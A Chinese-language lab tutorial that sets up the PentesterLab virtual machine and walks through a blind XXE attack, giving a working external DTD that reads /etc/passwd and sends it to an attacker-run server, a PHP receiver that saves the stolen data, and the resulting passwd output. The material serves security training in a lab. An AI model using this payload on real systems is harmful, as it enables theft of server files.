一.PentesterLab靶場搭建(實驗環境搭建)
介紹:PentesterLab 是一個全面的漏洞演示平臺,但是它是收費的,我們這里只使用它的 xxe 演示案例。
安裝 PentesterLab 虛擬機:下載好鏡像:
1.打開VMware新建虛擬機,選擇典型就行。
然后選擇我們的鏡像,下一步:
選擇linux,和linux3.x不要選64位的。
下一步,然后自己調節文件保存位置:
磁盤空間默認就行:
點擊自定義硬件:
我們去調一下內存,把內存調到一個g。
然后我們點擊關閉再點擊完成即可:
我們打開虛擬機:
輸入ifconfig查看ip:192.168.112.18
我們打開瀏覽器,看到一下頁面顯示則靶場安裝成功。
二.XXE無回顯文件讀取

我們需要建立一個外部的 dtd 文件,一個用于接收數據的 php 文件,以及存儲數據的數據文件。
1、建立 dtd 外部實體文件:
# cd /var/www/html/
# vim test.dtd #插入以下內容
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.112.128/xxe.php?pass=%p1;'>">
%p2;
注:% p1 定義一個參數實體,%和 p1 之間有一個空格,用于接收 file:///etc/passwd 的內
容,%p1 引用參數實體,參數實體只能在 DTD 文件中被引用。
2、建立 php 文件
└─# vim xxe.php #插入以下內容
<?php
$pass=$_GET['pass'];
file_put_contents('pass.txt',$pass);
?>
3、創建存儲數據的文件
└─# touch pass.txt
4、修改文件權限
└─# chown -R www-data:www-data /var/www/html/*
5、啟動 apache2
└─# systemctl start apache2
6、測試 php 文件能夠正常寫入數據
└─# curl http://192.168.1.53/xxe.php?pass=1
└─# cat pass.txt
1
到這里基本工作就完成了。
下面我們進入靶場點擊左上角login,利用bp進行抓包。
我們修改請求:
放包就行。
我們就成功帶外出了etc/passwd的內容:
root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false